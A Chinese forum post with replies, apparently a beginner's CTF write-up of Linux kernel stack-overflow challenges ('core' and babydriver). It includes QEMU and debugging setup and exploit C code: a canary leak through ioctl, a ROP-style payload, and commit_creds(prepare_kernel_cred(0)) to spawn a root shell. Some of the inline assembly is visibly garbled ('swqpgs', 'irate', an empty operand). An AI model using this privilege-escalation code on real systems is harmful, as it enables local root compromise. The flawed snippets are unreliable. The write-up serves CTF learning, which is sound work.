首页
社区
课程
招聘
3
[原创]linux kernel pwn 分析(一) 强网杯core + ciscn babydriver
发表于: 2018-9-28 17:33 20916

[原创]linux kernel pwn 分析(一) 强网杯core + ciscn babydriver

2018-9-28 17:33
20916

作为一个kernel pwn 刚刚入门的同学,想着分享一下自己的经验,这几道kernel pwn的题目当时比赛的时候没有做出来,后来对照着大佬的write up复现了一波,仔细研究了一下。准备分析core babydriver solid_core这三道题,如果能弄懂了这三道题入门应该没问题了。

第一篇文章讲core 和 babydriver

第二篇文章讲 solid_core(因为很难所以单独一篇文章分析)

第三篇文章讲一下linux kernel 堆分配 slub分配器和内核堆溢出的例子

首先讲一点准备知识:



 ctf的kernel pwn中一般会给出qemu起系统的脚本 随便举一例 

 qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./initrd.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \ -cpu qemu64,+smep,+smap \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -s \ -nographic -enable-kvm \ 

 比较重要的是qemu-system-x86制定处理器体系,

-m指定内存,

 -s选项默认指定 开启更gdb远程调试端口 1234 


 $ mkdir core 

 $ mv core.cpio ./core/core.cpio.gz 

 $ cd core

 $ gunzip core.cpio.gz 

 $ cpio -idmv < core.cpio

这个时候,将exp放入系统的一个目录中

 $ nano init

这条命令用于编辑init,一般用于删除定时关机 

 $find . | cpio -o -H newc | gzip > ../core.cpio 

用于重新打包 也可以用这几条: 

 $ ./gen_cpio.sh core.cpio 

 $ mv core.cpio ../core.cpio 

 $ cd .. 

 $ rm -rf core 


 target remote:1234 这个时候如果返回一堆字符显示过长, 

 set architecture i386:x86-64:intel 使用这条命令设置架构 

 在运行时载入模块的符号表:

 grep 0 /sys/module/your_module/sections/.text 

 add-symbol-file ./your_module.ko text 

其中your_module是你要加载的驱动模块,

text为第一行命令的返回值。

 如何得到kernel rop

如果有ELF形式的vmlinux映像可以直接用ROPgadgets,但更多时候我们只有bzImage,这个时候需要用extract-vmlinux进行提权,它在内核源码的scripts中,搜索自己linux系统的内核源码就能找到。 


强网杯一共有两道kernel pwn题,solid_core网上有出题人详细的思路讲解


首先看最简单的一道题 core,是入门级别的一个简单的内核栈溢出,关于内核栈溢出,我认为和用户态的栈溢出在本质上是一样的,只是在此基础上需要做很多准备工作,保证在内核态实现提权之后返回用户态系统不会崩溃,从而可以成功的拿到root权限的shell


首先,我们来看题目给出了core.ko驱动文件,将它放入ida中,

commit_creds(prepare_kernel_cred(0));

借助/proc/kallsyms符号表,在运行时动态读取。这个很容易实现,贴出一例:


unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)

{

    FILE *s_fp;

    char buff[200] = {0};

    char *p = NULL;

    char *p1 = NULL;

    unsigned long addr = 0;

    s_fp = fopen(file_name, "r");

    if (s_fp == NULL){

        printf("open %s failed.\n", file_name);

        return 0;

    }


    while (fgets(buff, 200, s_fp) != NULL){


        if (strstr(buff, symbol_name) != NULL){

            buff[strlen(buff) - 1] = '\0';

            p = strchr(strchr(buff, ' ') + 1, ' ');

            ++p;


            if (!p) {

                return 0;

            }


            if (!strcmp(p, symbol_name)){

                p1 = strchr(buff, ' ');

                *p1 = '\0';

                sscanf(buff, "%lx", &addr);

                //addr = strtoul(buff, NULL, 16);

                printf("[+] found %s addr at 0x%x.\n",symbol_name, addr);

                break;

            }


        }

    }


之后我们需要稳定系统,在内核返回用户态的时候,会调用iretq

iretq会依次弹出 rip cs eflags rsp ss之后做一些判断,因此如果不能构造好这些参数,系统会崩溃,无法get root shell。我们采取的方法是:提前构造一个save_state()函数,进入内核态前存储这些参数,用来构造payload。


static void save_state()

{

        asm(

            "movq %%cs, %0;"

            "movq %%ss, %1;"

            "pushfq;"

            "pop %2;"

            : "=r"(user_cs), "=r"(user_ss), "=r"(user_eflag)

            :

            : "memory");

}

很简单的一个函数,将cs ss eflag 分别存储在三个我们自定义的变量中。至于rip和rsp则是要我们自己去构造为getshell 的rip。这样返回用户态之后回去指向system("/bin/sh")。


int main()

{

        if((base = mmap(0, 0x40000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0))==NULL)

        {

                perror("mmap");

                exit(0);

        }


        int fd;

        char tmp[64];

        fd = open("/proc/core",O_RDWR);

        ioctl(fd,COMMAND_PRINT,0x40);

        ioctl(fd,COMMAND_READ,&tmp);

        memcpy(&canary, tmp, 8);


        char payload[] = {

                0,0,0,0,0,0,0,0,

                canary,

                base+0x20000,

                shellcode

        };


        write(fd, payload, 160);

        ioctl(fd, IOCTL_COMMAND_COPY, 0xff00000000000008);

        return 0;

}

static void shellcode()

{

        commit_creds(prepare_kernel_cred(0));

        asm(

            "swqpgs;"\\

            "movq %0 %%rax;"

            "push %%rax;"

            "movq %1 %%rax;"

            "push %%rax;"

            "movq %2 %%rax;"

            "push %%rax;"

            "movq %3 %%rax;"

            "push %%rax;"

            "movq %4 %%rax;"

            "push %%rax;"

            "irate;"

            :

            :"r"(user_ss),"r"()\\,"r"(user_eflags),"r"(user_cs),"r"(get_shell)

            :"memory"

            );

}


之后通过开头的解包方法先去掉定时shutdown,之后将exp放入系统,qemu起系统,实现提权。



[注意]看雪招聘,专注安全领域的专业人才平台!

最后于 2018-9-28 20:01 被obfuscation编辑 ,原因: 上传附件
上传的附件:
收藏
免费 3
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2022-7-27 01:56
心游尘世外
为你点赞~
2022-7-26 23:55
/x01
为你点赞~
2022-2-10 19:48
最新回复 (11)
雪    币: 1573
活跃值: (338)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
2
题目的附件稍后会上传在评论里附加链接,因为附件太大了,超过了8M的限制
2018-9-28 17:35
0
雪    币: 55943
活跃值: (21560)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
3
obfuscation 题目的附件稍后会上传在评论里附加链接,因为附件太大了,超过了8M的限制
可以rar分卷压缩上传
2018-9-28 19:22
0
雪    币: 1573
活跃值: (338)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
4
kanxue 可以rar分卷压缩上传
好的
2018-9-28 19:45
0
雪    币: 292
活跃值: (850)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
感谢楼主分享!期待后续文章,tty_operation是我和ling在解这道题的时候参考的0ctf之前的一道kernel的解题方法,比较通用,但就本题来说,用cred的方法更简单一些,楼主可以再尝试使用cred的方法来解babydriver
2018-9-28 22:34
0
雪    币: 13494
活跃值: (3801)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
6
感谢分享!
2018-9-28 22:39
0
雪    币: 1573
活跃值: (338)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
7
Keoyo 感谢楼主分享!期待后续文章,tty_operation是我和ling在解这道题的时候参考的0ctf之前的一道kernel的解题方法,比较通用,但就本题来说,用cred的方法更简单一些,楼主可以再尝试使 ...
好嘞,感谢大佬的意见
最后于 2018-9-29 00:35 被obfuscation编辑 ,原因:
2018-9-29 00:31
0
雪    币: 1573
活跃值: (338)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
8
netwind 感谢分享!
还请大佬们多指正
2018-9-29 00:34
0
雪    币: 2
活跃值: (200)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
4.触发ufa 并改写tty_struct,tty_struct偏移为0x24的位置,改写伪造的ops,从而劫持控制流

这里好像写的有点问题,tty_struct 的偏移应该是 24
2018-10-7 19:52
0
雪    币: 1573
活跃值: (338)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
10
wx_M4x 4.触发ufa 并改写tty_struct,tty_struct偏移为0x24的位置,改写伪造的ops,从而劫持控制流 这里好像写的有点问题,tty_struct 的偏移应该是 24
是的,多谢指正
2018-10-8 14:37
0
雪    币: 2070
活跃值: (5061)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
11
core中为什么调用write函数可以调用到core_write函数往name全局变量中写数据呢?
2020-3-11 23:30
0
雪    币: 21
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
12

指令应该是iretq吧?

2021-7-2 17:36
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册